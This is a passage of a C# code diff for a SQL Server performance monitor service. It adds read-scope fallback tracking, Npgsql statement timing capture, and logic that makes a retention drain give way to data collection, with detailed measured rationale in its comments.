+            }
+        }
+
+        if (scope?.Logger is { } logger)
+        {
+            logger.LogWarning(ex, "{Site} fell back to raw ({Kind})", site, kind);
+        }
+        else
+        {
+            System.Diagnostics.Trace.TraceWarning(ex is null
+                ? $"{site} fell back to raw ({kind})"
+                : $"{site} fell back to raw ({kind}): {ex.GetType().Name}");
+        }
+    }
+
+    /// <summary>Notes a fallback with no log line: for a caller whose callee already logged the fault, or for an expected
+    /// state that is not a fault (<see cref="ReadFallback.LedgerUncovered"/>, a store before V164).</summary>
+    internal static void Note(ReadFallback kind)
+    {
+        var scope = s_current.Value;
+        if (scope is null)
+        {
+            return;
+        }
+
+        lock (scope._gate)
+        {
+            scope.Keep(kind);
+        }
+    }
+
+    /// <summary>The order the reasons rank in: a bigger number is the bigger fact. Written out, not taken from the enum's
+    /// declaration order, so adding a reason cannot quietly reorder them.</summary>
+    private static int Rank(ReadFallback kind) => kind switch
+    {
+        ReadFallback.GateFailed => 3,
+        ReadFallback.FallbackRaw => 2,
+        ReadFallback.LedgerUncovered => 1,
+        _ => 0,
+    };
+
+    /// <summary>Holds <paramref name="kind"/> unless a stronger reason is already held; an equal one is replaced by the later
+    /// note, as it always was. Call under <c>_gate</c>.</summary>
+    private void Keep(ReadFallback kind)
+    {
+        if (_fallback is not { } held || Rank(kind) >= Rank(held))
+        {
+            _fallback = kind;
+        }
+    }
+
+    /// <summary>Logs a degraded read that is not a source decision, so it has no outcome (log only).</summary>
+    internal static void Warn(string message, Exception? ex)
+    {
+        if (s_current.Value?.Logger is { } logger)
+        {
+            logger.LogWarning(ex, "{Message}", message);
+        }
+        else
+        {
+            System.Diagnostics.Trace.TraceWarning(ex is null ? message : $"{message}: {ex.GetType().Name}");
+        }
+    }
+
+    /// <summary>The recorded outcome: a noted fallback replaces ONLY <see cref="ReadOutcome.Ok"/>; a timeout,
+    /// cancel, error or limit is the bigger fact and wins. <see cref="ReadFallback.GateFailed"/> becomes
+    /// <see cref="ReadOutcome.GateFailed"/>; every other reason, <see cref="ReadFallback.LedgerUncovered"/> included,
+    /// becomes <see cref="ReadOutcome.FallbackRaw"/>.</summary>
+    internal static ReadOutcome Resolve(ReadOutcome measured, ReadFallback? noted)
+    {
+        if (measured != ReadOutcome.Ok || noted is null)
+        {
+            return measured;
+        }
+
+        return noted == ReadFallback.GateFailed ? ReadOutcome.GateFailed : ReadOutcome.FallbackRaw;
+    }
+
+    /// <summary>The disposable <see cref="Open"/> returns.</summary>
+    internal readonly struct Opened : IDisposable
+    {
+        private readonly ReadScope? _previous;
+
+        internal Opened(ReadScope scope, ReadScope? previous)
+        {
+            Scope = scope;
+            _previous = previous;
+        }
+
+        /// <summary>The scope this handle opened.</summary>
+        internal ReadScope Scope { get; }
+
+        /// <summary>The fallback noted into <see cref="Scope"/>.</summary>
+        internal ReadFallback? Fallback => Scope.Fallback;
+
+        public void Dispose() => s_current.Value = _previous;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/ReadStatementCapture.cs b/Darling/PerformanceMonitor.Darling.Service/ReadStatementCapture.cs
new file mode 100644
index 0000000000..d8248cc3d8
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/ReadStatementCapture.cs
@@ -0,0 +1,129 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.Security.Cryptography;
+using System.Text;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>One statement a read ran (#5097): its arrival ordinal, a label, a short stable hash of the text,
+/// its duration, and the row count when Npgsql reported one.</summary>
+internal readonly record struct StatementTiming(int Ordinal, string Label, string Hash, double DurationMs, long? Rows);
+
+/// <summary>Turns a statement's text into its label and hash. Only the product's own SQL text is read; bound
+/// parameter values are never part of it.</summary>
+internal static class StatementLabel
+{
+    internal const int MaxLabelLength = 120;
+
+    /// <summary>The first line that is not blank and not a <c>--</c> comment, trimmed and cut to
+    /// <see cref="MaxLabelLength"/> characters.</summary>
+    internal static string Label(string? sql)
+    {
+        if (string.IsNullOrEmpty(sql))
+        {
+            return string.Empty;
+        }
+
+        foreach (var raw in sql.Split('\n'))
+        {
+            var line = raw.Trim();
+            if (line.Length == 0 || line.StartsWith("--", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            return line.Length > MaxLabelLength ? line[..MaxLabelLength] : line;
+        }
+
+        return string.Empty;
+    }
+
+    /// <summary>Eight hex characters of the SHA-256 of the whole text: stable across runs and processes.</summary>
+    internal static string Hash(string? sql) =>
+        Convert.ToHexString(SHA256.HashData(Encoding.UTF8.GetBytes(sql ?? string.Empty)), 0, 4).ToLowerInvariant();
+}
+
+/// <summary>
+/// The one process-wide Npgsql <see cref="ActivityListener"/> (#5097). It samples a command only while the
+/// calling flow runs inside a <see cref="ReadScope"/> that asked for capture, so collectors and the worker
+/// create no activity. Its callbacks never throw.
+/// </summary>
+internal static class ReadStatementCapture
+{
+    private static readonly object s_gate = new();
+    private static ActivityListener? s_listener;
+
+    /// <summary>Registers the listener once per process; later calls do nothing.</summary>
+    internal static void Register()
+    {
+        lock (s_gate)
+        {
+            if (s_listener is not null)
+            {
+                return;
+            }
+
+            s_listener = new ActivityListener
+            {
+                ShouldListenTo = source => source.Name == "Npgsql",
+                Sample = Sample,
+                ActivityStopped = Stopped,
+            };
+            ActivitySource.AddActivityListener(s_listener);
+        }
+    }
+
+    /// <summary>The sampling decision, split out so a test can assert the outside-a-scope answer.</summary>
+    internal static ActivitySamplingResult Sample(ref ActivityCreationOptions<ActivityContext> options)
+    {
+        try
+        {
+            return ReadScope.Current is { CaptureStatements: true }
+                ? ActivitySamplingResult.AllDataAndRecorded
+                : ActivitySamplingResult.None;
+        }
+        catch
+        {
+            return ActivitySamplingResult.None;
+        }
+    }
+
+    private static void Stopped(Activity activity)
+    {
+        try
+        {
+            if (ReadScope.Current is not { CaptureStatements: true } scope)
+            {
+                return;
+            }
+
+            string? sql = null;
+            long? rows = null;
+            foreach (var tag in activity.TagObjects)
+            {
+                if (tag.Key == "db.query.text")
+                {
+                    sql = tag.Value as string;
+                }
+                else if (tag.Key == "db.response.returned_rows" && tag.Value is not null)
+                {
+                    rows = Convert.ToInt64(tag.Value, System.Globalization.CultureInfo.InvariantCulture);
+                }
+            }
+
+            scope.AddStatement(sql, activity.Duration.TotalMilliseconds, rows);
+        }
+        catch
+        {
+            /* A capture fault must never reach the read. */
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/RetentionCollectionYield.cs b/Darling/PerformanceMonitor.Darling.Service/RetentionCollectionYield.cs
new file mode 100644
index 0000000000..660d8e80c1
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/RetentionCollectionYield.cs
@@ -0,0 +1,500 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// One cheap in-process read of whether collection is keeping up (#5592), which the retention drain takes so that
+/// a test can fake it. Read between every batch and again at each re-check of a wait, so an implementation must
+/// not touch the store or a monitored server.
+/// </summary>
+public interface ICollectionPressure
+{
+    /// <summary>Null when collection is keeping up; otherwise a short reason, for the log line that says why the drain waits.</summary>
+    string? BehindReason();
+}
+
+/// <summary>
+/// The real signal (#5592): collection is "behind" when either of two things holds. Each one is read from state the
+/// worker already keeps, so there is no second counter beside the one "Collection Falling Behind" (#4732) is judged on.
+/// <list type="number">
+/// <item><description><b>Collection is skipping a real share of its slots</b>: over the last
+/// <see cref="SkipWindowMinutes"/> minutes at least <see cref="SkipMinCount"/> slots were skipped AND they are at least
+/// <see cref="SkipSharePerMille"/> thousandths (2.5%) of the slots that came due, read from the same per-minute
+/// buckets as the self-alert (<see cref="FleetGateStats.SlotsInLastMinutes"/>) with the same two-part test as
+/// <c>FleetGateReport.IsBehind</c>, on a shorter window. The first version waited on any single skipped slot and
+/// on any body running 30 s. Measured on a large field store over a normal day, with the drain's own window left
+/// out, that read "behind" in 513 of 843 five-minute windows (61%): the hang rule (a body past
+/// <see cref="DarlingWorker.SweepWatchdogSeconds"/>, 60 s) warned 58 to 75 times a day, one per hang episode, each
+/// skipping one slot of every one-minute collector the stalled body runs (about 19 on a default SQL Server target),
+/// and a fleet's per-minute sum of collector run time passed 30 s in 22% of minutes (its p90 is 47.7 s). A drain that
+/// backs off for a normal day never gets its work done. The incident's own line skipped 97 of 1,252 due slots (7.7%),
+/// but that is a short first line after a service start, not an hour: this store's full hours hold about 54,000 due
+/// slots (51,561 to 54,056), and its normal post-start lines with no drain running ran 6.8% to 24.1% (613 to 1,503 due
+/// slots). So the 7.7% does not show by itself that the drain caused the skips; the drain hour has to be compared with
+/// a normal post-start hour as well as a normal full hour.
+/// <para>The normal day's own hourly lines (3 days, full hours of about 54,000 due slots, 90 hours): the share of
+/// slots skipped was 0.00% at the median, 0.20% at the 90th percentile and 4.39% at the 99th, and one hour met the
+/// alert's rule; six more short lines right after a service start did (6.8% to 24.1% of 613 to 1,503 due), so a burst
+/// after a start is real, and the settle arm below covers it.</para>
+/// <list type="bullet">
+/// <item><description><b>Share, 2.5%</b>: half the alert's 5% (<c>DarlingSelfAlertEvaluator.FleetGateBehindPercent</c>),
+/// so the drain backs off before an hour reaches the alert, not after it has fired. It sits about 12 times over a normal
+/// hour's 0.20% (p90) and under the 5% line, so a normal day does not hold the drain and a bad hour does.</description></item>
+/// <item><description><b>Window, 10 minutes.</b> The stats keep whole minutes, so the read covers 9 to 10 minutes. A full
+/// hour on that fleet holds about 54,000 due slots, so the window holds about 9,000 and the share asks for about 225
+/// skipped slots there: a single hang episode (about 19 slots) cannot reach it, a sustained skip rate can. A shorter
+/// window would hold fewer slots and let the minimum below decide; a longer one would average a burst away. Ten minutes
+/// is also the settle window below. On a short line right after a start (1,252 due slots, about 208 in ten minutes) the
+/// same share is 6 slots, which is why the settle arm covers that period and the share takes over once it ends.</description></item>
+/// <item><description><b>Minimum, 3 slots.</b> It only matters on a small fleet, where 2.5% of a thin window is a
+/// fraction of one slot. The alert counts 20 skipped slots over 60 one-minute buckets, which is exactly six disjoint
+/// 10-minute windows. A drain held just under the minimum lets (minimum - 1) slots skip per window, and the signal is
+/// read only at batch boundaries, so about a slot more lands between reads: 6 x (3 - 1) = 12 an hour, 18 with one
+/// slot of slop per window, under the alert's 20. A minimum of 5 allowed 24 to 30 an hour, over it, and 4 gives 24 with
+/// the slop, so 3 is the largest that stays under at any fleet size. The minimum only binds when the hour holds fewer
+/// than about 720 due slots (0.025 x D / 6 &lt; 3), and the alert could only fire from that rate at 360 or fewer (18 is
+/// 5% of 360); a default SQL Server target alone is about 1,300 due slots an hour, so by the defaults no fleet is in
+/// that zone. The minimum is not what keeps a real hang from holding the drain: a stalled body skips one slot of each
+/// one-minute collector it runs (about 19), so on a small fleet one hang reads behind at any minimum from 3 up to 19.
+/// It only keeps a one- or two-slot blip from doing so.</description></item>
+/// </list>
+/// A wait from this arm lasts until the skips age out of the window (up to ten minutes), and the drain's own cap
+/// (<see cref="RetentionCollectionYield.MaxWaitSeconds"/>) lets one batch through every five. A pass's waits together
+/// stop at half its budget (<see cref="RetentionCollectionYield.WaitBudgetFraction"/>).</description></item>
+/// <item><description><b>The service is still settling</b>: collection started less than <see cref="SettleWindow"/> ago.
+/// The clock starts when the sweep loop starts collecting (<see cref="MarkCollectionStarted"/>), after the store
+/// retries and migrations, and it is a monotonic clock, so neither a slow start nor a wall-clock step moves it. Until the
+/// loop has started the signal reads settling.
+/// The first collections after a start run heavy, and the share above cannot see them in their first minutes (the
+/// first bodies are spread over <see cref="DarlingWorker.ColdStartSpreadSeconds"/> seconds, then queue behind the
+/// gate, and a slot is only counted skipped when its run ends). The field store's first skips came 5 minutes after
+/// the start and its relaunch skips 5 to 8 minutes after it, while the drain was still on small tables.</description></item>
+/// </list>
+/// <para>There is no arm for a body that is running long. It was tried at half the 1-minute cadence (30 s) and
+/// dropped: a fleet's per-minute run-time sum passes 30 s in 22% of normal minutes (p50 15.4 s, p90 47.7 s), so any limit
+/// low enough to catch the incident early fires on a normal day, and a limit above the p99 (93.9 s; the p99.9 is 623 s)
+/// would need a persistence rule to be safe and would still only catch the hangs that the skip share counts the moment
+/// the body ends. Even the hang rule's own 60 s is met in 172 of 1,108 five-minute windows (15.5%) of a normal 3 days
+/// (265 warnings; 125 windows with one, 32 with two, 15 with three or more). A body that runs past its cadence skips its
+/// next slot, which is counted here.</para>
+/// </summary>
+internal sealed class CollectionPressure : ICollectionPressure
+{
+    /// <summary>The window skipped slots are counted over. The stats keep whole minutes, so this reads 9 to 10 minutes back.</summary>
+    internal const int SkipWindowMinutes = 10;
+
+    /// <summary>
+    /// The fewest skipped slots in the window that can count as behind, however large a share of a thin window they are.
+    /// The largest value whose worst case stays under the alert's 20 an hour: 6 windows x (minimum - 1 + 1 slot of slop
+    /// between reads) = 18 at 3, 24 at 4 (see the type's remarks).
+    /// </summary>
+    internal const long SkipMinCount = 3;
+
+    /// <summary>
+    /// The share of due slots (ran plus skipped) that must be skipped, in thousandths: half the self-alert's percentage,
+    /// so the drain backs off before the hour reaches the alert. Integer arithmetic, so 2.5% exactly counts and 2.49% does not.
+    /// </summary>
+    internal const long SkipSharePerMille = DarlingSelfAlertEvaluator.FleetGateBehindPercent * 10 / 2;
+
+    /// <summary>How long after the service starts collection counts as settling.</summary>
+    internal static readonly TimeSpan SettleWindow = TimeSpan.FromMinutes(10);
+
+    private readonly FleetGateStats? _stats;
+    private readonly Func<double> _secondsClock;
+    private long _startedBits = NotStarted;
+
+    private static readonly long NotStarted = BitConverter.DoubleToInt64Bits(double.NaN);
+
+    /// <param name="stats">The fleet gate's counts; null reads no skipped slots (a worker built without them).</param>
+    /// <param name="secondsClock">A monotonic clock in seconds, injected so a test does not wait; null takes the stopwatch.</param>
+    internal CollectionPressure(FleetGateStats? stats, Func<double>? secondsClock = null)
+    {
+        _stats = stats;
+        _secondsClock = secondsClock ?? (() => Stopwatch.GetTimestamp() / (double)Stopwatch.Frequency);
+    }
+
+    /// <summary>
+    /// Stamps the start of the settle window: called when the sweep loop starts collecting (#5595), not when the worker
+    /// is built, because the store retries and migrations before the loop can take minutes. The first call wins.
+    /// </summary>
+    internal void MarkCollectionStarted() =>
+        Interlocked.CompareExchange(ref _startedBits, BitConverter.DoubleToInt64Bits(_secondsClock()), NotStarted);
+
+    /// <summary>The test: at least <see cref="SkipMinCount"/> skipped AND at least <see cref="SkipSharePerMille"/> thousandths of the due slots.</summary>
+    internal static bool IsBehind(long run, long skipped) =>
+        skipped >= SkipMinCount && skipped * 1000 >= (run + skipped) * SkipSharePerMille;
+
+    /// <inheritdoc />
+    public string? BehindReason()
+    {
+        var started = BitConverter.Int64BitsToDouble(Interlocked.Read(ref _startedBits));
+        if (double.IsNaN(started))
+        {
+            return "collection has not started yet";
+        }
+
+        var sinceStart = _secondsClock() - started;
+        if (sinceStart < SettleWindow.TotalSeconds)
+        {
+            return string.Create(
+                CultureInfo.InvariantCulture,
+                $"collection started {Math.Max(0, sinceStart):F0} s ago and is still settling");
+        }
+
+        var (run, skipped) = _stats?.SlotsInLastMinutes(SkipWindowMinutes) ?? (0, 0);
+        if (IsBehind(run, skipped))
+        {
+            return string.Create(
+                CultureInfo.InvariantCulture,
+                $"{skipped} of {run + skipped} collector slots were skipped in the last {SkipWindowMinutes} minutes ({100.0 * skipped / (run + skipped):F1}%)");
+        }
+
+        return null;
+    }
+}
+
+/// <summary>
+/// Makes the retention drain give way to collection (#5592). One instance per pass; it travels on the pass's
+/// <see cref="RetentionWalPacer"/> (<see cref="RetentionWalPacer.Yield"/>), the one object every paced batch already
+/// carries, so the paced drain loop in <see cref="DarlingRetention"/> (<c>DrainBatchesAsync</c>) is the single place
+/// it is applied and no call site passes anything new.
+///
+/// <para>The cause it answers: the first drain after the 3.10 upgrade paced only its WAL. The field store's drain
+/// deleted 18,007,201 rows in 40 minutes while collection skipped 97 of 1,252 due slots on its first line after the
+/// start (7.7%; a short line, not an hour, see <see cref="CollectionPressure"/>), nine servers' bodies ran past 60 s, and
+/// the Query Store collector's 95th percentile went from 13.1 s to 20.0 s. The WAL pacer does not bound the reads and
+/// index work each batch does, and those compete with the collectors' writes.</para>
+///
+/// <para>Three rules, all of them cheap and all of them pure over the injected signal, clock and delay:</para>
+/// <list type="number">
+/// <item><description><b>Before each batch</b>, wait while collection is behind
+/// (<see cref="ICollectionPressure"/>), re-checking every <see cref="RecheckSeconds"/>. One wait is bounded by
+/// <see cref="MaxWaitSeconds"/>, so a fleet that is behind for its own reasons still sees one batch go through every
+/// few minutes instead of a drain that never moves. A pass's waits together stop at half its budget
+/// (<see cref="WaitBudgetFraction"/>); after that the drain keeps only the pause below. Without that cap a pass that is
+/// behind the whole time spends 300 s before the first batch of every table and starts only about 6 of the 80-odd, the
+/// same ones every day. The first batch of a table is not exempt: the field's relaunch skips came while the drain was
+/// on the small tables, where each table needs one batch.</description></item>
+/// <item><description><b>After each batch</b>, pause for the batch's own run time times <see cref="PauseFactor"/>
+/// (1, so the drain deletes at most half the time), at most <see cref="MaxPauseSeconds"/>. It comes before the WAL
+/// pacer's wait, and that wait refills by elapsed time, so the two overlap and do not add.</description></item>
+/// <item><description><b>A wall budget</b> (<see cref="DefaultWallBudget"/>): a pass that has run that long, waits
+/// included, stops at the next batch boundary. That is normal control flow, not an error: the run record and the
+/// Query Store warm-up after the drain still run, and the next pass continues from the rows left.</description></item>
+/// </list>
+/// </summary>
+internal sealed class RetentionCollectionYield
+{
+    /// <summary>How often a wait looks at the signal again.</summary>
+    internal const double RecheckSeconds = 5;
+
+    /// <summary>
+    /// The longest one batch waits for collection before it goes anyway: half of the skipped-slot window
+    /// (<see cref="CollectionPressure.SkipWindowMinutes"/> minutes). A burst of skips can hold the signal for the whole
+    /// window, so a wait that lasted for it would stall the pass for ten minutes at a time; at five, a fleet that is
+    /// behind for reasons of its own still gets a batch every five minutes, and a normal burst is mostly waited out.
+    /// </summary>
+    internal const double MaxWaitSeconds = 300;
+
+    /// <summary>
+    /// The share of a pass's wall budget its waits may use in all (#5595). Once the waits reach it the pass stops waiting
+    /// and keeps only the pause after each batch, so a fleet that stays behind still walks every table.
+    /// </summary>
+    internal const double WaitBudgetFraction = 0.5;
+
+    /// <summary>The pause after a batch, as a multiple of the batch's own run time. 1 means the drain deletes at most half the time.</summary>
+    internal const double PauseFactor = 1.0;
+
+    /// <summary>The longest pause after one batch, so a batch that spent minutes in a timed-out attempt does not stall the pass for as long again.</summary>
+    internal const double MaxPauseSeconds = 60;
+
+    /// <summary>
+    /// The default wall budget of one pass. The daily purge and <c>purge_now</c> both run the same chores behind the
+    /// purge in the same task (findings cleanup, the log sweep, the module-map refresh, the chunk-interval
+    /// reconcile), and the first drain in the field held them for 40 minutes. Thirty minutes is under that, and
+    /// about 2% of the 24-hour cadence. At the pause factor of 1 the field store's backlog (17.78 M rows in the wide
+    /// table, 356 batches, about 29 minutes of batches; 18.0 M rows in all, 40 minutes unpaced) needs 58 to 80 minutes of
+    /// batches and pauses. A wait only happens while collection is behind. On a normal day that is a few percent of the
+    /// time (1 of 90 full hours met the alert's rule, and the share rule is behind for at most the 10 minutes after
+    /// the skips that trip it; the six post-start bursts are the settle window's), so take 5%: a pass gets
+    /// 30 x (1 - 0.05) = 28.5 minutes of work. The daily purge launches on the sweep loop's first tick, inside the settle
+    /// window, so the first pass after a start spends its first 10 minutes on two 300 s waits and gets about 20 minutes of
+    /// work. The first drain then takes (58 - 20) / 28.5 + 1 = 2.3 to (80 - 20) / 28.5 + 1 = 3.1 passes: 3 daily passes,
+    /// 4 when collection pushes back. The waits are capped at half the budget (<see cref="WaitBudgetFraction"/>), so even a
+    /// pass that is behind from start to end keeps 15 minutes of work and the drain takes at most 80 / 15 = 5.3, so 6,
+    /// passes, instead of starting the same few tables every day.
+    /// </summary>
+    internal static readonly TimeSpan DefaultWallBudget = TimeSpan.FromMinutes(30);
+
+    private readonly ICollectionPressure _pressure;
+    private readonly Func<TimeSpan, CancellationToken, Task> _delay;
+    private readonly Func<double> _secondsClock;
+    private readonly ILogger? _logger;
+    private readonly double _pauseFactor;
+    private readonly double _startSeconds;
+    private bool _loggedFirstWait;
+    private bool _loggedWaitCap;
+    private bool _stopPending;
+    private bool _firstStopWasEntrySkip;
+
+    internal RetentionCollectionYield(
+        ICollectionPressure pressure,
+        TimeSpan wallBudget,
+        ILogger? logger = null,
+        Func<TimeSpan, CancellationToken, Task>? delay = null,
+        Func<double>? secondsClock = null,
+        double pauseFactor = PauseFactor)
+    {
+        ArgumentNullException.ThrowIfNull(pressure);
+        _pressure = pressure;
+        WallBudget = wallBudget;
+        _logger = logger;
+        _delay = delay ?? ((wait, cancellationToken) => Task.Delay(wait, cancellationToken));
+        _secondsClock = secondsClock ?? (() => Stopwatch.GetTimestamp() / (double)Stopwatch.Frequency);
+        _pauseFactor = Math.Max(0, pauseFactor);
+        _startSeconds = _secondsClock();
+    }
+
+    /// <summary>The wall time this pass may run before it stops at a batch boundary.</summary>
+    internal TimeSpan WallBudget { get; }
+
+    /// <summary>The seconds spent waiting for collection so far.</summary>
+    internal double TotalWaitSeconds { get; private set; }
+
+    /// <summary>The seconds spent in pauses between batches so far.</summary>
+    internal double TotalPauseSeconds { get; private set; }
+
+    /// <summary>True once any table's drain stopped, or was never started, because the budget was spent.</summary>
+    internal bool StoppedOnBudget { get; private set; }
+
+    /// <summary>The first table the budget stopped, or never let start, or null.</summary>
+    internal string? FirstStoppedTable { get; private set; }
+
+    /// <summary>
+    /// Where the pass stopped, for the run record and the log: "in &lt;table&gt;" when the budget ran out inside that table's
+    /// drain, "before &lt;table&gt;" when it was already spent at the table's entry and the table was never started (#5595).
+    /// Null when the pass did not stop.
+    /// </summary>
+    internal string? StoppedPlace =>
+        FirstStoppedTable is null ? null : (_firstStopWasEntrySkip ? "before " : "in ") + FirstStoppedTable;
+
+    /// <summary>The most the waits may add up to in one pass: <see cref="WaitBudgetFraction"/> of the wall budget.</summary>
+    internal double WaitCapSeconds => WallBudget.TotalSeconds * WaitBudgetFraction;
+
+    /// <summary>True once this pass's waits have reached <see cref="WaitCapSeconds"/>: from then on it only pauses.</summary>
+    internal bool WaitsCapped => TotalWaitSeconds >= WaitCapSeconds;
+
+    /// <summary>Tables whose drain was never started because the budget was already spent.</summary>
+    internal int TablesNotReached { get; private set; }
+
+    /// <summary>
+    /// Tables that still have rows to drain because of the budget: the ones never started plus the ones stopped part-way
+    /// (#5592). Above zero exactly when <see cref="StoppedOnBudget"/> is, and it is what the worker reads to schedule the
+    /// continuation pass.
+    /// </summary>
+    internal int TablesLeft { get; private set; }
+
+    /// <summary>The clock a batch's run time is measured on.</summary>
+    internal double NowSeconds => _secondsClock();
+
+    /// <summary>True once the pass has run for its whole budget.</summary>
+    internal bool BudgetSpent => _secondsClock() - _startSeconds >= WallBudget.TotalSeconds;
+
+    /// <summary>
+    /// Waits, in re-checks of <see cref="RecheckSeconds"/>, while collection is behind, then returns true so the batch
+    /// runs. Returns false, without running anything, when the pass's budget is spent (checked first, and again at
+    /// every re-check, because a wait counts against it). A wait that reaches <see cref="MaxWaitSeconds"/> returns true
+    /// too. Honors <paramref name="cancellationToken"/> before the read and during every delay.
+    /// </summary>
+    internal async Task<bool> BeforeBatchAsync(CancellationToken cancellationToken)
+    {
+        cancellationToken.ThrowIfCancellationRequested();
+        if (BudgetSpent)
+        {
+            return false;
+        }
+
+        /* #5595: the pass has waited as long as it may. Not even a table's first batch waits any more, so a pass that is
+           behind the whole time still reaches every table; the pause after each batch stays. */
+        if (WaitsCapped)
+        {
+            return true;
+        }
+
+        var reason = _pressure.BehindReason();
+        if (reason is null)
+        {
+            return true;
+        }
+
+        if (!_loggedFirstWait)
+        {
+            _loggedFirstWait = true;
+            _logger?.LogInformation(
+                "Retention drain is waiting for collection to catch up ({Reason}); it resumes on its own", reason);
+        }
+        else
+        {
+            _logger?.LogDebug("Retention drain is waiting for collection to catch up ({Reason})", reason);
+        }
+
+        var waited = 0.0;
+        while (waited < MaxWaitSeconds)
+        {
+            var wait = Math.Min(Math.Min(RecheckSeconds, MaxWaitSeconds - waited), WaitCapSeconds - TotalWaitSeconds);
+            await _delay(TimeSpan.FromSeconds(wait), cancellationToken);
+            waited += wait;
+            TotalWaitSeconds += wait;
+
+            cancellationToken.ThrowIfCancellationRequested();
+            if (BudgetSpent)
+            {
+                return false;
+            }
+
+            if (_pressure.BehindReason() is null)
+            {
+                _logger?.LogDebug("Retention drain resumed after waiting {Seconds:F0} s for collection", waited);
+                return true;
+            }
+
+            if (WaitsCapped)
+            {
+                if (!_loggedWaitCap)
+                {
+                    _loggedWaitCap = true;
+                    _logger?.LogInformation(
+                        "Retention drain has waited {Seconds:F0} s for collection in this pass, half of its {Budget:F0}-minute budget; it stops waiting and keeps only the pause after each batch",
+                        TotalWaitSeconds, WallBudget.TotalMinutes);
+                }
+
+                return true;
+            }
+        }
+
+        _logger?.LogDebug(
+            "Retention drain waited {Seconds:F0} s for collection and goes ahead with one batch so the pass keeps moving", waited);
+        return true;
+    }
+
+    /// <summary>
+    /// Pauses for the batch's own run time times <see cref="PauseFactor"/>, at most <see cref="MaxPauseSeconds"/>.
+    /// <paramref name="batchStartedSeconds"/> is <see cref="NowSeconds"/> from just before the batch, so the pause
+    /// never includes a wait. A spent budget skips the pause: the next <see cref="BeforeBatchAsync"/> ends the pass.
+    /// </summary>
+    internal async Task AfterBatchAsync(double batchStartedSeconds, CancellationToken cancellationToken)
+    {
+        if (BudgetSpent)
+        {
+            return;
+        }
+
+        var pause = Math.Min(Math.Max(0, _secondsClock() - batchStartedSeconds) * _pauseFactor, MaxPauseSeconds);
+        if (pause <= 0)
+        {
+            return;
+        }
+
+        await _delay(TimeSpan.FromSeconds(pause), cancellationToken);
+        TotalPauseSeconds += pause;
+    }
+
+    /// <summary>
+    /// Called by the drain loop when <see cref="BeforeBatchAsync"/> said stop. The table is recorded by
+    /// <see cref="FinishTable"/>, which knows its name.
+    /// </summary>
+    internal void NoteBudgetStop() => _stopPending = true;
+
+    /// <summary>
+    /// Entry check for a table's purge: true when the budget is already spent, so the table is not started (no
+    /// connection, no statement). Records the table as not reached and the pass as stopped.
+    /// </summary>
+    internal bool SkipTableOnBudget(string tableName)
+    {
+        if (!BudgetSpent)
+        {
+            return false;
+        }
+
+        StoppedOnBudget = true;
+        if (FirstStoppedTable is null)
+        {
+            FirstStoppedTable = tableName;
+            _firstStopWasEntrySkip = true;
+        }
+
+        TablesNotReached++;
+        TablesLeft++;
+        return true;
+    }
+
+    /// <summary>
+    /// Called after a table's drain returned. When the drain stopped on the budget, records the table as the place the
+    /// pass stopped (the first one is kept); a stop that deleted nothing counts the table as not reached.
+    /// </summary>
+    internal void FinishTable(string tableName, int rowsDeleted)
+    {
+        if (!_stopPending)
+        {
+            return;
+        }
+
+        _stopPending = false;
+        StoppedOnBudget = true;
+        FirstStoppedTable ??= tableName;
+        TablesLeft++;
+        if (rowsDeleted <= 0)
+        {
+            TablesNotReached++;
+        }
+    }
+
+    /// <summary>
+    /// The sentence the run record and the log carry when the pass waited for collection or stopped on its budget; null
+    /// when it did neither, so a pass that had no pressure reads exactly as before. The ordinary pause between batches
+    /// happens on every paced pass and is not pressure, so on its own it adds nothing; it is named only when the sentence
+    /// is written for another reason.
+    /// </summary>
+    internal string? Describe()
+    {
+        var inv = CultureInfo.InvariantCulture;
+        if (!StoppedOnBudget && TotalWaitSeconds <= 0)
+        {
+            return null;
+        }
+
+        var text = TotalWaitSeconds > 0
+            ? string.Create(
+                inv,
+                $"yielded to collection: waited {TotalWaitSeconds:F0} s while it was behind, paused {TotalPauseSeconds:F0} s between batches")
+            : string.Create(inv, $"paused {TotalPauseSeconds:F0} s between batches");
+        if (WaitsCapped)
+        {
+            text += string.Create(
+                inv,
+                $"; stopped waiting at {WaitCapSeconds / 60:F0} minutes, half the time budget, and kept only the pauses");
+        }
+
+        if (StoppedOnBudget)
+        {
+            text += string.Create(
+                inv,
+                $"; stopped at its {WallBudget.TotalMinutes:F0}-minute time budget {StoppedPlace}, with {TablesNotReached} table(s) not reached - the next pass continues from the rows left");
+        }
+
+        return text;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/RetentionWalPacer.cs b/Darling/PerformanceMonitor.Darling.Service/RetentionWalPacer.cs
index b72c421c70..0bbe4c3396 100644
--- a/Darling/PerformanceMonitor.Darling.Service/RetentionWalPacer.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/RetentionWalPacer.cs
@@ -110,6 +110,13 @@ internal RetentionWalPacer(
     /// </summary>
     internal long BatchWalTargetBytes => (long)(RateBytesPerSecond * BatchTargetSeconds);
 
+    /// <summary>
+    /// The rule that makes the drain give way to collection (#5592), or null for a pass that does not (tests, and
+    /// every caller that does not pass a signal). It rides on the pacer because the pacer is the one object every
+    /// paced batch already carries, so the drain loop applies both and no call site passes anything new.
+    /// </summary>
+    internal RetentionCollectionYield? Yield { get; set; }
+
     /// <summary>The WAL reported by every batch so far.</summary>
     internal long TotalWalBytes { get; private set; }
 
diff --git a/Darling/PerformanceMonitor.Darling.Service/SecretTextGuard.cs b/Darling/PerformanceMonitor.Darling.Service/SecretTextGuard.cs
new file mode 100644
index 0000000000..f4a6e210a0
--- /dev/null
